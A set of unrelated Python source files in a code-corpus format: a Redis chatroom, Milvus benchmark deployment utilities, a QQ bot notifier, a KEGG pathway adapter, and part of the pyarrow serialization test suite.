expected to fail") sys.exit(result) if __name__ == "__main__": main(sys.argv)
chatroom.py
''' ่Šๅคฉๅฎค-ๅˆฉ็”จredis็š„่ฎข้˜…/ๅ‘ๅธƒๆฅๅฎŒๆˆไธ€ไธช็ฎ€ๅ•็š„่Šๅคฉๅฎค็š„ๆž„ๅปบ ๅฏไปฅๅผ€ๅฏไธคไธชๆจกๆ‹Ÿ่Šๅคฉๅฎค ่ฟ™ไธชๆœ‰็ฉบ็š„ๆ—ถๅ€™ๅฏไปฅ็ป“ๅˆangularๅšไธชๅ‡็บง็‰ˆๆœฌ็š„่Šๅคฉๅฎค ''' import rediscommon,time,json,threading r = rediscommon.r def listen(): pubsup = r.pubsub() pubsup.subscribe(['chat']) for item in pubsup.listen(): if item['type'] == 'message': print("\n"+json.loads(item['data'])) def say(): user_name = input("่ฏท่พ“ๅ…ฅ็”จๆˆทๅ๏ผš") while True: time_str = time.strftime("%Y-%m-%d %H:%M:%S") words = input("่ฏท่พ“ๅ…ฅไฝ ๆƒณ่ฏด็š„่ฏ๏ผš") output = user_name + "(" +time_str +")" + ":" + words; r.publish("chat", json.dumps(output)) time.sleep(.1) def chat(): print("ๆฌข่ฟŽๆฅๅˆฐ็ฎ€้™‹็š„่Šๅคฉๅฎค") thread_list = [] thread_list.append(threading.Thread(target=listen)) thread_list.append(threading.Thread(target=say)) for t in thread_list: t.setDaemon(True) t.start() for t in thread_list: t.join() if __name__ == "__main__": chat()
utils.py
# -*- coding: utf-8 -*- from __future__ import print_function __true_print = print # noqa import os import sys import pdb import time import json import datetime import argparse import threading import logging import string import random # import multiprocessing # import numpy # import psutil import h5py # import docker from yaml import full_load, dump import tableprint as tp from pprint import pprint from kubernetes import client, config logger = logging.getLogger("milvus_benchmark.utils") config.load_kube_config() MULTI_DB_SLAVE_PATH = "/opt/milvus/data2;/opt/milvus/data3" def get_unique_name(): return "benchmark-test-"+"".join(random.choice(string.ascii_letters + string.digits) for _ in range(8)).lower() def get_current_time(): return time.strftime('%Y-%m-%d %H:%M:%S', time.localtime()) def print_table(headers, columns, data): bodys = [] for index, value in enumerate(columns): tmp = [value] tmp.extend(data[index]) bodys.append(tmp) tp.table(bodys, headers) def get_dataset(hdf5_file_path): if not os.path.exists(hdf5_file_path): raise Exception("%s not existed" % hdf5_file_path) dataset = h5py.File(hdf5_file_path) return dataset def modify_config(k, v, type=None, file_path="conf/server_config.yaml", db_slave=None): if not os.path.isfile(file_path): raise Exception('File: %s not found' % file_path) with open(file_path) as f: config_dict = full_load(f) f.close() if config_dict: if k.find("use_blas_threshold") != -1: config_dict['engine_config']['use_blas_threshold'] = int(v) elif k.find("use_gpu_threshold") != -1: config_dict['engine_config']['gpu_search_threshold'] = int(v) elif k.find("cpu_cache_capacity") != -1: config_dict['cache_config']['cpu_cache_capacity'] = int(v) elif k.find("enable_gpu") != -1: config_dict['gpu_resource_config']['enable'] = v elif k.find("gpu_cache_capacity") != -1: config_dict['gpu_resource_config']['cache_capacity'] = int(v) elif k.find("index_build_device") != -1: config_dict['gpu_resource_config']['build_index_resources'] = v elif k.find("search_resources") != -1: config_dict['resource_config']['resources'] = v if db_slave: config_dict['db_config']['db_slave_path'] = MULTI_DB_SLAVE_PATH with open(file_path, 'w') as f: dump(config_dict, f, default_flow_style=False) f.close() else: raise Exception('Load file:%s error' % file_path) # update server_config.yaml def update_server_config(file_path, server_config): if not os.path.isfile(file_path): raise Exception('File: %s not found' % file_path) with open(file_path) as f: values_dict = full_load(f) f.close() for k, v in server_config.items(): if k.find("primary_path") != -1: values_dict["db_config"]["primary_path"] = v elif k.find("use_blas_threshold") != -1: values_dict['engine_config']['use_blas_threshold'] = int(v) elif k.find("gpu_search_threshold") != -1: values_dict['engine_config']['gpu_search_threshold'] = int(v) elif k.find("cpu_cache_capacity") != -1: values_dict['cache_config']['cpu_cache_capacity'] = int(v) elif k.find("cache_insert_data") != -1: values_dict['cache_config']['cache_insert_data'] = v elif k.find("enable") != -1: values_dict['gpu_resource_config']['enable'] = v elif k.find("gpu_cache_capacity") != -1: values_dict['gpu_resource_config']['cache_capacity'] = int(v) elif k.find("build_index_resources") != -1: values_dict['gpu_resource_config']['build_index_resources'] = v elif k.find("search_resources") != -1: values_dict['gpu_resource_config']['search_resources'] = v with open(file_path, 'w') as f: dump(values_dict, f, default_flow_style=False) f.close() # update values.yaml def update_values(file_path, hostname): if not os.path.isfile(file_path): raise Exception('File: %s not found' % file_path) with open(file_path) as f: values_dict = full_load(f) f.close() if values_dict['engine']['nodeSelector']: logger.warning("nodeSelector has been set: %s" % str(values_dict['engine']['nodeSelector'])) return # update values.yaml with the given host # set limit/request cpus in resources v1 = client.CoreV1Api() node = v1.read_node(hostname) cpus = node.status.allocatable.get("cpu") # DEBUG values_dict['engine']['resources'] = { "limits": { "cpu": str(int(cpus)-1)+".0" }, "requests": { "cpu": str(int(cpus)-2)+".0" } } values_dict['engine']['nodeSelector'] = {'kubernetes.io/hostname': hostname} values_dict['engine']['tolerations'].append({ "key": "worker", "operator": "Equal", "value": "performance", "effect": "NoSchedule" }) # add extra volumes values_dict['extraVolumes'].append({ 'name': 'test', 'flexVolume': { 'driver': "fstab/cifs", 'fsType': "cifs", 'secretRef': { 'name': "cifs-test-secret" }, 'options': { 'networkPath': "//192.168.1.126/test", 'mountOptions': "vers=1.0" } } }) values_dict['extraVolumeMounts'].append({ 'name': 'test', 'mountPath': '/test' }) with open(file_path, 'w') as f: dump(values_dict, f, default_flow_style=False) f.close() # deploy server def helm_install_server(helm_path, image_tag, image_type, name, namespace): timeout = 180 install_cmd = "helm install --wait --timeout %d \ --set engine.image.tag=%s \ --set expose.type=clusterIP \ --name %s \ -f ci/db_backend/sqlite_%s_values.yaml \ -f ci/filebeat/values.yaml \ --namespace %s \ --version 0.0 ." % (timeout, image_tag, name, image_type, namespace) logger.debug(install_cmd) if os.system("cd %s && %s" % (helm_path, install_cmd)): logger.error("Helm install failed") return None time.sleep(5) v1 = client.CoreV1Api() host = "%s-milvus-engine.%s.svc.cluster.local" % (name, namespace) pod_name = None pod_id = None pods = v1.list_namespaced_pod(namespace) for i in pods.items: if i.metadata.name.find(name) != -1: pod_name = i.metadata.name pod_ip = i.status.pod_ip logger.debug(pod_name) logger.debug(pod_ip) return pod_name, pod_ip # delete server def helm_del_server(name): del_cmd = "helm del --purge %s" % name logger.debug(del_cmd) if os.system(del_cmd): logger.error("Helm delete name:%s failed" % name) return False return True # def pull_image(image): # registry = image.split(":")[0] # image_tag = image.split(":")[1] # client = docker.APIClient(base_url='unix://var/run/docker.sock') # logger.info("Start pulling image: %s" % image) # return client.pull(registry, image_tag) # def run_server(image, mem_limit=None, timeout=30, test_type="local", volume_name=None, db_slave=None): # import colors # client = docker.from_env() # # if mem_limit is None: # # mem_limit = psutil.virtual_memory().available # # logger.info('Memory limit:', mem_limit) # # cpu_limit = "0-%d" % (multiprocessing.cpu_count() - 1) # # logger.info('Running on CPUs:', cpu_limit) # for dir_item in ['logs', 'db']: # try: # os.mkdir(os.path.abspath(dir_item)) # except Exception as e: # pass # if test_type == "local": # volumes = { # os.path.abspath('conf'): # {'bind': '/opt/milvus/conf', 'mode': 'ro'}, # os.path.abspath('logs'): # {'bind': '/opt/milvus/logs', 'mode': 'rw'}, # os.path.abspath('db'): # {'bind': '/opt/milvus/db', 'mode': 'rw'}, # } # elif test_type == "remote": # if volume_name is None: # raise Exception("No volume name") # remote_log_dir = volume_name+'/logs' # remote_db_dir = volume_name+'/db' # for dir_item in [remote_log_dir, remote_db_dir]: # if not os.path.isdir(dir_item): # os.makedirs(dir_item, exist_ok=True) # volumes = { # os.path.abspath('conf'): # {'bind': '/opt/milvus/conf', 'mode': 'ro'}, # remote_log_dir: # {'bind': '/opt/milvus/logs', 'mode': 'rw'}, # remote_db_dir: # {'bind': '/opt/milvus/db', 'mode': 'rw'} # } # # add volumes # if db_slave and isinstance(db_slave, int): # for i in range(2, db_slave+1): # remote_db_dir = volume_name+'/data'+str(i) # if not os.path.isdir(remote_db_dir): # os.makedirs(remote_db_dir, exist_ok=True) # volumes[remote_db_dir] = {'bind': '/opt/milvus/data'+str(i), 'mode': 'rw'} # container = client.containers.run( # image, # volumes=volumes, # runtime="nvidia", # ports={'19530/tcp': 19530, '8080/tcp': 8080}, # # environment=["OMP_NUM_THREADS=48"], # # cpuset_cpus=cpu_limit, # # mem_limit=mem_limit, # # environment=[""], # detach=True) # def stream_logs(): # for line in container.logs(stream=True): # logger.info(colors.color(line.decode().rstrip(), fg='blue')) # if sys.version_info >= (3, 0): # t = threading.Thread(target=stream_logs, daemon=True) # else: # t = threading.Thread(target=stream_logs) # t.daemon = True # t.start() # logger.info('Container: %s started' % container) # return container # # exit_code = container.wait(timeout=timeout) # # # Exit if exit code # # if exit_code == 0: # # return container # # elif exit_code is not None: # # print(colors.color(container.logs().decode(), fg='red')) # # raise Exception('Child process raised exception %s' % str(exit_code)) # def restart_server(container): # client = docker.APIClient(base_url='unix://var/run/docker.sock') # client.restart(container.name) # logger.info('Container: %s restarted' % container.name) # return container # def remove_container(container): # container.remove(force=True) # logger.info('Container: %s removed' % container) # def remove_all_containers(image): # client = docker.from_env() # try: # for container in client.containers.list(): # if image in container.image.tags: # container.stop(timeout=30) # container.remove(force=True) # except Exception as e: # logger.error("Containers removed failed") # def container_exists(image): # ''' # Check if container existed with the given image name # @params: image name # @return: container if exists # ''' # res = False # client = docker.from_env() # for container in client.containers.list(): # if image in container.image.tags: # # True # res = container # return res if __name__ == '__main__': # print(pull_image('branch-0.3.1-debug')) stop_server()
sendmsg.py
import requests import threading import time import urllib.parse # ๅผ€ๅง‹ๆ—ถ้€šๆŠฅ def start_notice(): # pass return { # ่ฟ™ไธชๆ˜ฏ็พคๅท๏ผŒไฝ ๆ”นๆˆ่‡ชๅทฑๆœบๅ™จไบบๅŠ ๅ…ฅ็š„้‚ฃไธช็พคๅฐฑ่กŒไบ† 'group_id': 387017550, 'message': 'ๅฐ็ง˜ไนฆๅทฒๅฏๅŠจ๏ฝžไฝ ๅฏไปฅ้€š่ฟ‡ไพ‹ๅฆ‚ใ€#helpใ€‘๏ผˆไธๅซไธญๆ‹ฌๅท๏ผ‰ๆฅๆŸฅ็œ‹ๅ…จ้ƒจๅ‘ฝไปค๏ฝž็Žฐๅœจๆ—ถ้—ดๆ˜ฏ %s' % time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) } # ๅฎšๆœŸๆ‰ง่กŒ้€šๆŠฅ def inter_notice(): return { 'group_id': 387017550, # 'user_id': 20004604, 'message': 'ๅฐ็ง˜ไนฆ is running๏ฝžไฝ ๅฏไปฅ้€š่ฟ‡ไพ‹ๅฆ‚ใ€#helpใ€‘๏ผˆไธๅซไธญๆ‹ฌๅท๏ผ‰ๆฅๆŸฅ็œ‹ๅ…จ้ƒจๅ‘ฝไปค๏ฝž็Žฐๅœจๆ—ถ้—ดๆ˜ฏ %s' % time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) } class SendMsg(object): def __init__(self, base_url): # ๅŸบ็ก€่ทฏๅพ„ self.base_url = base_url # ไบ‹ไปถๆฑ  self.event_pool = [ { # ่กŒไธบ๏ผˆ่ฟ™ไธชๆ˜ฏapi๏ผ‰ 'action': 'send_group_msg', # ๅ‘้€ๆ•ฐๆฎ๏ผŒ่ฟ™ๆ˜ฏไธ€ไธชๅ‡ฝๆ•ฐ๏ผŒๅ–่ฟ”ๅ›žๅ€ผ๏ผŒๆ˜ฏไธ€ไธชdict๏ผŒๆ‹ผๆŽฅ่ฟ™ไธชdict็”Ÿๆˆurl 'event_data': start_notice, # ๆœ€่ฟ‘ไธ€ๆฌกๅ‘้€ๆ—ถ้—ด๏ผŒๅ‘้€ๅŽๆ›ดๆ–ฐไธบๅฝ“ๅ‰ๆ—ถ้—ดtime.time()๏ผŒ่ฟ™ไธชๅ•ไฝๆ˜ฏ็ง’ 'last_send_time': 0, # ๅ‘้€้—ด้š”๏ผŒๅ•ไฝ็ง’ 'sent_duration': 3600, # ๅ‘้€ๆฌกๆ•ฐใ€‚5่กจ็คบๅ‘้€5ๆฌก๏ผŒ-1 ไปฃ่กจๆ— ้™ๆฌก 'remain_times': 1 }, { # ่กŒไธบ๏ผˆ่ฟ™ไธชๆ˜ฏapi๏ผ‰ 'action': 'send_group_msg', # ๅ‘้€ๆ•ฐๆฎ๏ผŒ่ฟ™ๆ˜ฏไธ€ไธชๅ‡ฝๆ•ฐ๏ผŒๅ–่ฟ”ๅ›žๅ€ผ 'event_data': inter_notice, # ๆœ€่ฟ‘ไธ€ๆฌกๅ‘้€ๆ—ถ้—ด๏ผŒๅ‘้€ๅŽๆ›ดๆ–ฐไธบๅฝ“ๅ‰ๆ—ถ้—ดtime.time() 'last_send_time': 0, # ๅ‘้€้—ด้š”๏ผˆ6ไธชๅฐๆ—ถไธ€ๆฌก๏ผ‰ # 'sent_duration': 60, 'sent_duration': 3600 * 6, # ๅ‘้€ๆฌกๆ•ฐใ€‚5่กจ็คบๅ‘้€5ๆฌก๏ผŒ-1 ไปฃ่กจๆ— ้™ๆฌก 'remain_times': -1 }, ] # ๅผ€ไธ€ไธชๆ–ฐ็บฟ็จ‹๏ผŒๅฎšๆœŸๆ‰ง่กŒ่ฝฎ่ฏข t1 = threading.Thread(target=self.loop) t1.setDaemon(True) t1.start() # ่ฝฎ่ฏข def loop(self): while True: t = time.time() for event in self.event_pool: # ๅฆ‚ๆžœๅ’ŒไธŠๆฌกๅ‘้€ๆ—ถ้—ด้—ด้š”๏ผŒๅคงไบŽ่ฎพ็ฝฎ็š„ๆ—ถ้—ด้—ด้š” if t - event['last_send_time'] > event['sent_duration']: # ๅ‰ฉไฝ™่งฆๅ‘ๆฌกๆ•ฐไธไธบ0 if event['remain_times'] != 0: # ่งฆๅ‘ไบ‹ไปถ self.run_event(event) # ๅ‰ฉไฝ™ๆฌกๆ•ฐๅ‡ไธ€ event['remain_times'] -= 1 # ไฟฎๆ”นๅฝ“ๅ‰่งฆๅ‘ไบ‹ไปถ็š„ๆœ€ๅŽ่งฆๅ‘ไบ‹ไปถ event['last_send_time'] = t # ๆฏๆฌก่งฆๅ‘ไบ‹ไปถๅŽ๏ผŒๅˆ™ๅปถ่ฟŸ5็ง’ time.sleep(5) # print('loop') # ๆฏ็ง’่ฝฎ่ฏขไธ€ๆฌก time.sleep(1) # ๆ‰ง่กŒๆ—ถ้—ด def run_event(self, event_data): try: # ๆ•ฐๆฎๆ˜ฏๅฎžๆ—ถ่Žทๅ–็š„ data = event_data['event_data']() if event_data['action'] == 'send_group_msg': self.send_group_msg(data['group_id'], data['message']) elif event_data['action'] == 'send_private_msg': self.send_private_msg(data['user_id'], data['message']) except BaseException as e: print(str(e)) # ็ง่Šๅ‘้€ไฟกๆฏ def send_private_msg(self, user_id, msg): # ้œ€่ฆ urllib.parse.quote(msg) ่ฟ›่กŒ่ฝฌไน‰๏ผŒไธ็„ถไพ‹ๅฆ‚ # ่ฟ™็งไผš่ขซ็›ดๆŽฅ่ฏ†ๅˆซไธบๅ“ˆๅธŒๅœฐๅ€็š„่กจ็คบใ€‚ url = '%ssend_private_msg?user_id=%s&message=%s' % (self.base_url, user_id, urllib.parse.quote(msg)) ret = requests.post(url) # print(url) # ๅ‘้€ๆˆๅŠŸ if ret.status_code == 200: # print('ret.status_code: %s' % ret.status_code) pass else: print('send_private_msg send error: %s' % ret.reason) # self.bot.send_group_msg(group_id=387017550, message=msg) # ็พค่Šๅ‘้€ไฟกๆฏ def send_group_msg(self, group_id, msg): url = '%ssend_group_msg?group_id=%d&message=%s' % (self.base_url, group_id, urllib.parse.quote(msg)) # print(url) ret = requests.post(url) # ๅ‘้€ๆˆๅŠŸ if ret.status_code == 200: # print('ret.status_code: %s' % ret.status_code) pass else: print('send_group_msg send error: %s' % ret.reason) # ๆต‹่ฏ•ไปฃ็ ๅ’Œ็คบไพ‹ไปฃ็  if __name__ == '__main__': pass
main.py
import json import requests import services.common.vars as vars import services.common.tools as tools import re from threading import Thread # This is a function that will be used to convert Arth numbers into the standard # AGI locus used on Araport. This function is used in the threading. def convert_to_locus(element): url = vars.url + 'get/ath:' + element['locus_id'] text = tools.openurl(url) links = tools.find_cat(text, 'dblinks') for dblink in links: if dblink['database'] == 'TAIR': element['locus_id'] = dblink['id'] # Adama-defined endpoint for doing a search. This endpoint will take a taxon ID # and a pathway ID and return the genes in that pathway. def search(args): # Checks if the required arguments are in the arguments received. If they # are not, raise an exception to tell the user. if 'pathway_id' not in args.keys(): raise Exception('No argument given for "pathway_id"') if 'taxon_id' in args.keys(): # Gets the required arguments taxon_id = args['taxon_id'] path_id = args['pathway_id'] # Uses the taxon ID to get the KEGG organism code and the name of the taxon orgcode, taxon_name = tools.taxon_to_kegg(taxon_id) # If the conversion was unsuccessful, raise an exception to notify the user if orgcode is None: raise Exception("Not a valid taxon id") # If the pathway_id is in an invalid format, raises an exception if not tools.valid_pathway_id(path_id): raise Exception('Not a valid identifier') # Creates the full pathway ID to access KEGG with path_id = orgcode + path_id # Gets the information from KEGG url = vars.url + 'get/' + path_id text = tools.openurl(url) # Parses the data received back, and creates an array that stores all teh genes. data = tools.find_cat(text, 'gene') # If the taxon specified is Arabidopsis, check if the returned genes are # valid if taxon_id == '3702': # Creates a regular expression to check if the locus IDs are valid p = re.compile('^AT[1-5CM]G[0-9]{5,5}$') # Creates a list that will store the threads that were created thread_list = [] # Iterates through all the genes for element in data: # If the gene is not a valid locus ID if p.match(element['locus_id']) is None: # Creates a new thread, starts it, and stores the thread in the # list of threads. thread = Thread(target = convert_to_locus, args = (element,)) thread.start() thread_list.append(thread) # Joins with all threads so it will wait for all threads to finish for thread in thread_list: thread.join() # Prints the data as JSON for Adama to return for element in data: # Adds additional fields before printing. element['taxon_id'] = taxon_id element['taxon_name'] = taxon_name element['pathway_id'] = args['pathway_id'] print json.dumps(element) print '---' else: path_id = args['pathway_id'] # Gets the information from KEGG url = vars.url + 'get/ko' + path_id text = tools.openurl(url) # Parses the data received back, and creates an array that stores all the genes. data = tools.find_cat(text, 'orthology') for element in data: # Adds additional fields before printing. element['taxon_id'] = None element['taxon_name'] = None element['pathway_id'] = args['pathway_id'] element['locus_id'] = None print json.dumps(element) print '---' def list(args): # If a taxon_id is given if 'taxon_id' in args.keys(): # Gets the taxon ID. For some unknown reason, the parameter received # from Adama is a list, so it must be accessed by getting the first # and only element of the list taxon_id = args['taxon_id'][0] # Uses the taxon ID to get the KEGG organism code and the name of the taxon orgcode, taxon_name = tools.taxon_to_kegg(taxon_id) # If the conversion was unsuccessful, raise an exception to notify the user if orgcode is None: raise Exception("Not a valid taxon id") # Accesses the KEGG API url = vars.url + 'list/pathway/' + orgcode text = tools.openurl(url) # Parses the text received into a list of pathways data = tools.two_col_path(text, taxon_id, taxon_name) # Prints the data in JSON form with elements in the list separated by # three dashes for element in data: print json.dumps(element) print '---' else: # Accesses the list of taxa from KEGG. Streaming is set to true because # KEGG streams the result, and since the data takes a couple seconds to # download, this will allow the adapter to start sending data to Adama # earlier so it can stream the data to the user. url = vars.url + "list/genome" r = requests.get(url, stream=True) # Iterates by line through the returned text for line in r.iter_lines(): # Creates an empty dict to hold the taxon information org = {} # Parses the line to get the organism name and taxon ID parts1 = line.split('; ') parts = parts1[0].split(None, 3) if len(parts1) == 2 and len(parts) >= 3: org['taxon_id'] = parts[-1] org['taxon_name'] = parts1[-1] # Prints the data for Adama to send to the user print json.dumps(org) print '---'
test_serialization.py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from __future__ import division import pytest from collections import namedtuple, OrderedDict, defaultdict import datetime import os import string import sys import pyarrow as pa import numpy as np import pyarrow.tests.util as test_util try: import torch except ImportError: torch = None # Blacklist the module in case `import torch` is costly before # failing (ARROW-2071) sys.modules['torch'] = None def assert_equal(obj1, obj2): if torch is not None and torch.is_tensor(obj1) and torch.is_tensor(obj2): assert torch.equal(obj1, obj2) return module_numpy = (type(obj1).__module__ == np.__name__ or type(obj2).__module__ == np.__name__) if module_numpy: empty_shape = ((hasattr(obj1, "shape") and obj1.shape == ()) or (hasattr(obj2, "shape") and obj2.shape == ())) if empty_shape: # This is a special case because currently np.testing.assert_equal # fails because we do not properly handle different numerical # types. assert obj1 == obj2, ("Objects {} and {} are " "different.".format(obj1, obj2)) else: np.testing.assert_equal(obj1, obj2) elif hasattr(obj1, "__dict__") and hasattr(obj2, "__dict__"): special_keys = ["_pytype_"] assert (set(list(obj1.__dict__.keys()) + special_keys) == set(list(obj2.__dict__.keys()) + special_keys)), ("Objects {} " "and {} are " "different." .format( obj1, obj2)) try: # Workaround to make comparison of OrderedDicts work on Python 2.7 if obj1 == obj2: return except Exception: pass if obj1.__dict__ == {}: print("WARNING: Empty dict in ", obj1) for key in obj1.__dict__.keys(): if key not in special_keys: assert_equal(obj1.__dict__[key], obj2.__dict__[key]) elif type(obj1) is dict or type(obj2) is dict: assert_equal(obj1.keys(), obj2.keys()) for key in obj1.keys(): assert_equal(obj1[key], obj2[key]) elif type(obj1) is list or type(obj2) is list: assert len(obj1) == len(obj2), ("Objects {} and {} are lists with " "different lengths." .format(obj1, obj2)) for i in range(len(obj1)): assert_equal(obj1[i], obj2[i]) elif type(obj1) is tuple or type(obj2) is tuple: assert len(obj1) == len(obj2), ("Objects {} and {} are tuples with " "different lengths." .format(obj1, obj2)) for i in range(len(obj1)): assert_equal(obj1[i], obj2[i]) elif (pa.lib.is_named_tuple(type(obj1)) or pa.lib.is_named_tuple(type(obj2))): assert len(obj1) == len(obj2), ("Objects {} and {} are named tuples " "with different lengths." .format(obj1, obj2)) for i in range(len(obj1)): assert_equal(obj1[i], obj2[i]) else: assert type(obj1) == type(obj2) and obj1 == obj2, \ "Objects {} and {} are different.".format(obj1, obj2) PRIMITIVE_OBJECTS = [ 0, 0.0, 0.9, 1 << 62, 1 << 999, [1 << 100, [1 << 100]], "a", string.printable, "\u262F", "hello world", u"hello world", u"\xff\xfe\x9c\x001\x000\x00", None, True, False, [], (), {}, {(1, 2): 1}, {(): 2}, [1, "hello", 3.0], u"\u262F", 42.0, (1.0, "hi"), [1, 2, 3, None], [(None,), 3, 1.0], ["h", "e", "l", "l", "o", None], (None, None), ("hello", None), (True, False), {True: "hello", False: "world"}, {"hello": "world", 1: 42, 2.5: 45}, {"hello": set([2, 3]), "world": set([42.0]), "this": None}, np.int8(3), np.int32(4), np.int64(5), np.uint8(3), np.uint32(4), np.uint64(5), np.float16(1.9), np.float32(1.9), np.float64(1.9), np.zeros([8, 20]), np.random.normal(size=[17, 10]), np.array(["hi", 3]), np.array(["hi", 3], dtype=object), np.random.normal(size=[15, 13]).T, ] if sys.version_info >= (3, 0): PRIMITIVE_OBJECTS += [0, np.array([["hi", u"hi"], [1.3, 1]])] else: PRIMITIVE_OBJECTS += [long(42), long(1 << 62), long(0), # noqa np.array([["hi", u"hi"], [1.3, long(1)]])] # noqa COMPLEX_OBJECTS = [ [[[[[[[[[[[[]]]]]]]]]]]], {"obj{}".format(i): np.random.normal(size=[4, 4]) for i in range(5)}, # {(): {(): {(): {(): {(): {(): {(): {(): {(): {(): { # (): {(): {}}}}}}}}}}}}}, ((((((((((),),),),),),),),),), {"a": {"b": {"c": {"d": {}}}}}, ] class Foo(object): def __init__(self, value=0): self.value = value def __hash__(self): return hash(self.value) def __eq__(self, other): return other.value == self.value class Bar(object): def __init__(self): for i, val in enumerate(COMPLEX_OBJECTS): setattr(self, "field{}".format(i), val) class Baz(object): def __init__(self): self.foo = Foo() self.bar = Bar() def method(self, arg): pass class Qux(object): def __init__(self): self.objs = [Foo(1), Foo(42)] class SubQux(Qux): def __init__(self): Qux.__init__(self) class SubQuxPickle(Qux): def __init__(self): Qux.__init__(self) class CustomError(Exception): pass Point = namedtuple("Point", ["x", "y"]) NamedTupleExample = namedtuple("Example", "field1, field2, field3, field4, field5") CUSTOM_OBJECTS = [Exception("Test object."), CustomError(), Point(11, y=22), Foo(), Bar(), Baz(), Qux(), SubQux(), SubQuxPickle(), NamedTupleExample(1, 1.0, "hi", np.zeros([3, 5]), [1, 2, 3]), OrderedDict([("hello", 1), ("world", 2)])] def make_serialization_context(): context = pa.default_serialization_context() context.register_type(Foo, "Foo") context.register_type(Bar, "Bar") context.register_type(Baz, "Baz") context.register_type(Qux, "Quz") context.register_type(SubQux, "SubQux") context.register_type(SubQuxPickle, "SubQuxPickle", pickle=True) context.register_type(Exception, "Exception") context.register_type(CustomError, "CustomError") context.register_type(Point, "Point") context.register_type(NamedTupleExample, "NamedTupleExample") return context global_serialization_context = make_serialization_context() def serialization_roundtrip(value, scratch_buffer, context=global_serialization_context): writer = pa.FixedSizeBufferWriter(scratch_buffer) pa.serialize_to(value, writer, context=context) reader = pa.BufferReader(scratch_buffer) result = pa.deserialize_from(reader, None, context=context) assert_equal(value, result) _check_component_roundtrip(value, context=context) def _check_component_roundtrip(value, context=global_serialization_context): # Test to/from components serialized = pa.serialize(value, context=context) components = serialized.to_components() from_comp = pa.SerializedPyObject.from_components(components) recons = from_comp.deserialize(context=context) assert_equal(value, recons) @pytest.yield_fixture(scope='session') def large_buffer(size=32*1024*1024): return pa.allocate_buffer(size) def large_memory_map(tmpdir_factory, size=100*1024*1024): path = (tmpdir_factory.mktemp('data') .join('pyarrow-serialization-tmp-file').strpath) # Create a large memory mapped file with open(path, 'wb') as f: f.write(np.random.randint(0, 256, size=size) .astype('u1') .tobytes() [:size]) return path def test_clone(): context = pa.SerializationContext() class Foo(object): pass def custom_serializer(obj): return 0 def custom_deserializer(serialized_obj): return (serialized_obj, 'a') context.register_type(Foo, 'Foo', custom_serializer=custom_serializer, custom_deserializer=custom_deserializer) new_context = context.clone() f = Foo() serialized = pa.serialize(f, context=context) deserialized = serialized.deserialize(context=context) assert deserialized == (0, 'a') serialized = pa.serialize(f, context=new_context) deserialized = serialized.deserialize(context=new_context) assert deserialized == (0, 'a') def test_primitive_serialization(large_buffer): for obj in PRIMITIVE_OBJECTS: serialization_roundtrip(obj, large_buffer) def test_serialize_to_buffer(): for nthreads in [1, 4]: for value in COMPLEX_OBJECTS: buf = pa.serialize(value).to_buffer(nthreads=nthreads) result = pa.deserialize(buf) assert_equal(value, result) def test_complex_serialization(large_buffer): for obj in COMPLEX_OBJECTS: serialization_roundtrip(obj, large_buffer) def test_custom_serialization(large_buffer): for obj in CUSTOM_OBJECTS: serialization_roundtrip(obj, large_buffer) def test_default_dict_serialization(large_buffer): pytest.importorskip("cloudpickle") obj = defaultdict(lambda: 0, [("hello", 1), ("world", 2)]) serialization_roundtrip(obj, large_buffer) def test_numpy_serialization(large_buffer): for t in ["bool", "int8", "uint8", "int16", "uint16", "int32", "uint32", "float16", "float32", "float64", "<U1", "<U2", "<U3", "<U4", "|S1", "|S2", "|S3", "|S4", "|O"]: obj = np.random.randint(0, 10, size=(100, 100)).astype(t) serialization_roundtrip(obj, large_buffer) obj = obj[1:99, 10:90] serialization_roundtrip(obj, large_buffer) def test_datetime_serialization(large_buffer): data = [ # Principia Mathematica published datetime.datetime(year=1687, month=7, day=5), # Some random date datetime.datetime(year=1911, month=6, day=3, hour=4, minute=55, second=44), # End of WWI datetime.datetime(year=1918, month=11, day=11), # Beginning of UNIX time datetime.datetime(year=1970, month=1, day=1), # The Berlin wall falls datetime.datetime(year=1989, month=11, day=9), # Another random date datetime.datetime(year=2011, month=6, day=3, hour=4, minute=0, second=3), # Another random date datetime.datetime(year=1970, month=1, day=3, hour=4, minute=0, second=0) ] for d in data: serialization_roundtrip(d, large_buffer) def test_torch_serialization(large_buffer): pytest.importorskip("torch") serialization_context = pa.default_serialization_context() pa.register_torch_serialization_handlers(serialization_context) # These are the only types that are supported for the # PyTorch to NumPy conversion for t in ["float32", "float64", "uint8", "int16", "int32", "int64"]: obj = torch.from_numpy(np.random.randn(1000).astype(t)) serialization_roundtrip(obj, large_buffer, context=serialization_context) tensor_requiring_grad = torch.randn(10, 10, requires_grad=True) serialization_roundtrip(tensor_requiring_grad, large_buffer, context=serialization_context) @pytest.mark.skipif(not torch or not torch.cuda.is_available(), reason="requires pytorch with CUDA") def test_torch_cuda(): # ARROW-2920: This used to segfault if torch is not imported # before pyarrow # Note that this test will only catch the issue if it is run # with a pyarrow that has been built in the manylinux1 environment torch.nn.Conv2d(64, 2, kernel_size=3, stride=1, padding=1, bias=False).cuda() def test_numpy_immutable(large_buffer): obj = np.zeros([10]) writer = pa.FixedSizeBufferWriter(large_buffer) pa.serialize_to(obj, writer, global_serialization_context) reader = pa.BufferReader(large_buffer) result = pa.deserialize_from(reader, None, global_serialization_context) with pytest.raises(ValueError): result[0] = 1.0 def test_numpy_base_object(tmpdir): # ARROW-2040: deserialized Numpy array should keep a reference to the # owner of its memory path = os.path.join(str(tmpdir), 'zzz.bin') data = np.arange(12, dtype=np.int32) with open(path, 'wb') as f: f.write(pa.serialize(data).to_buffer()) serialized = pa.read_serialized(pa.OSFile(path)) result = serialized.deserialize() assert_equal(result, data) serialized = None assert_equal(result, data) assert result.base is not None # see https://issues.apache.org/jira/browse/ARROW-1695 def test_serialization_callback_numpy(): class DummyClass(object): pass def serialize_dummy_class(obj): x = np.zeros(4) return x def deserialize_dummy_class(serialized_obj): return serialized_obj context = pa.default_serialization_context() 